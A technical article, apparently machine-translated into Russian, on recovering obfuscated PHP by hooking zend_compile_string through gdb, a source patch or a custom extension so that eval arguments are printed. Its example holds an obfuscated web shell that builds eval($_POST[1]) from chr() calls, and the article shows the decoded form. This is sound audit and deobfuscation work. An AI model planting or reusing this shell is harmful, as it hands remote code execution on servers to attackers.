author: WeaponX
0x01 фон
Руководитель группы обнаружил, что код PHP был запутан при проведении аудита кода PHP. Хотя исходный PHP-код можно восстановить, расшифровав его вручную, процесс обфускации сложен, и очень хлопотно писать скрипт для его восстановления самостоятельно. Поэтому я восстанавливаю запутанный PHP-код через базовые операции PHP.
0x02 Обфускация кода PHP
Обычно есть два способа запутать PHP-код:
- Требуется расширение PHP
- Расширение PHP не требуется
В этой статье мы в основном объясним расшифровку обфускации кода без расширений PHP. Большая часть обфускации кода PHP без расширения использует eval для выполнения кода в принципе. если мы сможем получитьeval
По параметрам функции можно получить расшифрованный код.
Однако, как правило, обфускация PHP будет проходить несколько раз.eval
для восстановления и выполнения кода php, поэтому мы можем расшифровать код, перехватив функцию eval PHP для вывода его параметров.
0x03 hook eval
Функцию eval в PHP нужно вызывать в Zendzend_compile_string
функция, которую мы можем увидеть, отладивzend_compile_string
функция.
user@ubuntu ~/php-5.6.35/Zend ~ grep -rn "zend_compile_string" *
zend.c:693: zend_compile_string = compile_string;
мы обнаруживаемzend_compile_string
Функция на самом делеcompile_string
функция. Итак, мы можем написать простой PHP-код, чтобы посмотреть, сможем ли мыcompile_string
получено вeval
значение параметра
<?php
eval("phpinfo();");
?>
Во-первых, давайте скомпилируем загруженный PHP. Обратите внимание: поскольку мы собираемся отлаживать позже, нам нужно добавить его во время компиляции.-g
параметры, а также символы отладки.
./configure CFLAGS="-g" CXXFLAGS="-g"
make -j16
Затем мы используем gdb для отладки программы php. Сначала задайте параметры программы, а вcompile_string
Сделайте точку останова в функции.
gdb-peda$ set args xxx.php
gdb-peda$ b compile_string
Breakpoint 1 at 0x6b4480: file Zend/zend_language_scanner.l, line 716.
Затем запустите программу php
После того, как программа обнаружения была сломана, мы обнаружили, чтоcompile_string
первый параметрsource_string
в php-кодеeval
Структура параметров функции в Zend - т.е.zval_struct
.source_string.value.str.val
То есть строковая форма параметра.
- путем изменения
compile_string
функция печатиeval
параметры, код выглядит следующим образом
if (Z_TYPE_P(source_string) == IS_STRING) // 判断是否为string类型
{
len = Z_STRLEN_P(source_string); // 求string的长度
str = estrndup(Z_STRVAL_P(source_string), len); // 拷贝到str中
printf("\n==================DUMP_CODE====================\n");
printf("%s\n", str); //打印
printf("\n==================DUMP_CODE====================\n");
}
После модификации перекомпилируйте php и запустите зашифрованный php-код
Расшифрованный код PHP выглядит следующим образом
Вы можете видеть, что запутанный код PHP был полностью восстановлен.
- Расшифровать php-скрипт, написав расширение php
Принцип написания расширения php заключается в использовании нашего хука функцииzend_compile_string
функцию, вывести параметры функции и вернуть их вzend_compile_string
Функция может быть выполнена.
./ext/ext_skel --extname=decrypt_code
Во-первых, мы пишем собственную функцию ловушки. Функция этой функции состоит в том, чтобы судитьeval
Является ли параметр функции строкой, если нет, выполнить по исходному пути, если да, то вывести параметр и выполнить по исходному пути.
static zend_op_array *decrypt_code_compile_string(zval *source_string, char *filename TSRMLS_DC)
{
int len;
char *str;
if (Z_TYPE_P(source_string) != IS_STRING)
{
return orig_zend_compile_string(source_string, filename TSRMLS_CC);
}
len = Z_STRLEN_P(source_string);
str = estrndup(Z_STRVAL_P(source_string), len);
printf("\n==========DUMP===========\n");
printf("%s", str);
printf("\n==========DUMP===========\n");
return orig_zend_compile_string(source_string, filename TSRMLS_CC);
}
Далее мы модифицируем функцию загрузки расширения PHP.
PHP_MINIT_FUNCTION(decrypt_code)
{
/* If you have INI entries, uncomment these lines
REGISTER_INI_ENTRIES();
*/
orig_compile_string = zend_compile_string;
zend_compile_string = decrypt_code_compile_string;
return SUCCESS;
}
Функция этой функции заключается в сохраненииzend_compile_string
Адрес функции, затем замените его нашей функцией-ловушкойzend_compile_string
адрес г. когдаeval
вызов функцииzend_compile_string
, вызывается наша функция ловушки.
Наконец, мы модифицируем функцию удаления расширения PHP.
PHP_MSHUTDOWN_FUNCTION(decrypt_code)
{
/* uncomment this line if you have INI entries
UNREGISTER_INI_ENTRIES();
*/
zend_compile_string = orig_zend_compile_string;
return SUCCESS;
}
Отключает функцию при удалении расширения.
Наконец, скомпилируйте наше расширение
phpize
./configure --with-php-config=/usr/local/php/bin/php-config
make
Далее добавляем наше расширение в php.ini.
extension=decrypt_code.so
Запуск этого скрипта дает тот же результат.
0x04 Расшифровка восстановлена другими функциями
По сути, расшифровка запутанного кода аналогична выполнению кода. В конце концов, PHP-код должен быть выполнен, и есть много способов выполнить PHP-код, кромеeval
функция такжеassert
,call_user_func
,call_user_func_array
,create_function
Ждать. Нижний слой этих функций также называетсяzend_compile_string
, так что вы также можете использовать хукeval
для восстановления запутанного зашифрованного кода.
0x05 Example
Кусок примера кода.
<?php
$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();
?>
Запустите его, чтобы получить расшифрованный результат.
./php 3.php
=====================DUMP_CODE========================
function __lambda_func(){eval($_POST[1]);}
=====================DUMP_CODE========================
0x06 Refer
blog.eval bug.com/2017/09/21/…